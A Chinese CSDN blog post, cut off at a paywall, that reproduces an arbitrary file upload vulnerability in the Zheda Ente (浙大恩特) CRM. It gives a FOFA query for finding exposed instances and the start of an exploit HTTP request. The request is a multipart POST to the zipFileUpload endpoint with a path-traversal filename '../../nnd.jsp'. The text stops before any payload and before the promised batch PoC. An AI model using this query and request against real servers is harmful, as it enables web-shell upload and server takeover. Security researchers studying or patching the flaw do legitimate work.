浙大恩特CRM前台任意文件上传漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-09 21:42:19 修改

阅读量120

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-09 21:41:59 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137568769

版权

漏洞复现专栏收录该内容

364 篇文章 177 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了浙大恩特客户资源管理系统的一个文件上传漏洞，该漏洞可能导致服务器控制权被攻击者获取。内容包括漏洞描述、复现过程以及修复建议，建议受影响的用户更新官方补丁进行升级。

摘要由CSDN通过智能技术生成

产品简介
杭州恩软信息技术有限公司（浙大恩特）提供外贸管理软件、外贸客户管理软件等外贸软件，是一家专注于外贸客户资源管理及订单管理产品及服务的综合性公司。
漏洞描述
浙大恩特客户资源管理系统存在文件上传漏洞，攻击者可利用该漏洞获取服务器控制权。
fofa
title=”欢迎使用浙大恩特客户资源管理系统”
漏洞复现

POST /entsoft/CrmBasicAction.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryec63jznAR8GkjqFn
Content-Length: 216
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en

------WebKitFormBoundaryec63jznAR8GkjqFn
Content-Disposition: form-data; name="file"; filename="../../nnd.jsp"
Con

了解本专栏